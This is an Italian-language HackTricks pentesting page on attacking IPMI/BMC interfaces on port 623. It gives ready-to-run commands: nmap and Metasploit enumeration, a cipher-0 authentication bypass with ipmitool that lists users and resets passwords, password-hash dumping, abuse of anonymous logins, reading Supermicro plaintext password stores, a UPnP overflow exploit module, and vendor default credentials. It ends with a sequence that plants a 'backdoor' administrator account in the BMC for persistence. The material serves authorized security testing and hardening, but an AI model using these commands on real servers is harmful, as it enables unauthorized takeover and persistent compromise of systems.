10 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Informazioni di base
Panoramica di IPMI
Intelligent Platform Management Interface (IPMI) offre un approccio standardizzato per la gestione remota e il monitoraggio dei sistemi informatici, indipendentemente dal sistema operativo o dallo stato di alimentazione. Questa tecnologia consente agli amministratori di sistema di gestire i sistemi in remoto, anche quando sono spenti o non rispondono, ed è particolarmente utile per:
- Configurazioni di avvio pre-OS
- Gestione dello spegnimento
- Ripristino da guasti di sistema
IPMI è in grado di monitorare temperature, tensioni, velocità delle ventole e alimentatori, oltre a fornire informazioni sull'inventario, revisionare i log dell'hardware e inviare avvisi tramite SNMP. Per il suo funzionamento sono necessari una fonte di alimentazione e una connessione LAN.
Sin dalla sua introduzione da parte di Intel nel 1998, IPMI è stato supportato da numerosi fornitori, migliorando le capacità di gestione remota, soprattutto con il supporto della versione 2.0 per la seriale su LAN. I componenti chiave includono:
- Baseboard Management Controller (BMC): Il microcontrollore principale per le operazioni IPMI.
- Bus e interfacce di comunicazione: Per la comunicazione interna ed esterna, inclusi ICMB, IPMB e varie interfacce per connessioni locali e di rete.
- Memoria IPMI: Per memorizzare log e dati.
Porta predefinita: 623/UDP/TCP (di solito è su UDP ma potrebbe essere in esecuzione anche su TCP)
Enumerazione
Scoperta
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
È possibile identificare la versione utilizzando:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
Vulnerabilità IPMI
Nel campo dell'IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, che espone una vulnerabilità attraverso il tipo di cifratura 0. Questa vulnerabilità, documentata in dettaglio nella ricerca di Dan Farmer, consente l'accesso non autorizzato con qualsiasi password, a condizione che venga preso di mira un utente valido. Questa debolezza è stata riscontrata in diverse BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0.
Bypass dell'autenticazione IPMI tramite Cipher 0
Per rilevare questa falla, è possibile utilizzare il seguente scanner ausiliario di Metasploit:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
Lo sfruttamento di questa falla è possibile con ipmitool, come dimostrato di seguito, consentendo la visualizzazione e la modifica delle password degli utenti:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 Recupero Remoto dell'Hash della Password tramite Autenticazione RAKP
Questa vulnerabilità consente il recupero delle password hashate con sale (MD5 e SHA1) per qualsiasi nome utente esistente. Per testare questa vulnerabilità, Metasploit offre un modulo:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Autenticazione anonima IPMI
Una configurazione predefinita in molti BMC consente l'accesso "anonimo", caratterizzato da stringhe di nome utente e password nulle. Questa configurazione può essere sfruttata per reimpostare le password degli account utente utilizzando ipmitool:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Password in chiaro di Supermicro IPMI
Una scelta di design critica in IPMI 2.0 richiede la memorizzazione delle password in chiaro all'interno dei BMC per scopi di autenticazione. La memorizzazione di queste password da parte di Supermicro in posizioni come /nv/PSBlock o /nv/PSStore solleva significative preoccupazioni per la sicurezza:
cat /nv/PSBlock
Vulnerabilità UPnP di Supermicro IPMI
L'inclusione da parte di Supermicro di un listener UPnP SSDP nel firmware IPMI, in particolare sulla porta UDP 1900, introduce un grave rischio per la sicurezza. Le vulnerabilità nella versione 1.3.1 dell'Intel SDK per UPnP Devices, come dettagliato dalla divulgazione di Rapid7, consentono l'accesso root al BMC:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
HP randomizza la password predefinita per il suo prodotto Integrated Lights Out (iLO) durante la produzione. Questa pratica contrasta con altri produttori, che tendono ad utilizzare credenziali predefinite statiche. Di seguito viene fornito un riassunto degli username e delle password predefinite per vari prodotti:
- HP Integrated Lights Out (iLO) utilizza una stringa di 8 caratteri generata casualmente in fabbrica come password predefinita, mostrando un livello di sicurezza più elevato.
- Prodotti come Dell's iDRAC, IBM's IMM e Fujitsu's Integrated Remote Management Controller utilizzano password facilmente indovinabili come "calvin", "PASSW0RD" (con uno zero) e "admin" rispettivamente.
- Allo stesso modo, Supermicro IPMI (2.0), Oracle/Sun ILOM e ASUS iKVM BMC utilizzano anche credenziali predefinite semplici, con "ADMIN", "changeme" e "admin" come password.
Accesso all'host tramite BMC
L'accesso amministrativo al Baseboard Management Controller (BMC) apre varie vie per accedere al sistema operativo dell'host. Un approccio diretto prevede lo sfruttamento della funzionalità Keyboard, Video, Mouse (KVM) del BMC. Ciò può essere fatto riavviando l'host a una shell di root tramite GRUB (utilizzando init=/bin/sh) o avviando da un CD-ROM virtuale impostato come disco di salvataggio. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserimento di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è un inconveniente significativo. Senza riavviare, l'accesso all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in consegna tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite ipmitool. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini.
Introduzione di backdoor nel BMC dall'host
Dopo aver compromesso un host dotato di un BMC, l'interfaccia locale del BMC può essere sfruttata per inserire un account utente backdoor, creando una presenza duratura sul server. Questo attacco richiede la presenza di ipmitool sull'host compromesso e l'attivazione del supporto del driver BMC. I seguenti comandi illustrano come un nuovo account utente può essere iniettato nel BMC utilizzando l'interfaccia locale dell'host, bypassando la necessità di autenticazione. Questa tecnica è applicabile a una vasta gamma di sistemi operativi, inclusi Linux, Windows, BSD e persino DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
porta:623
Riferimenti
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.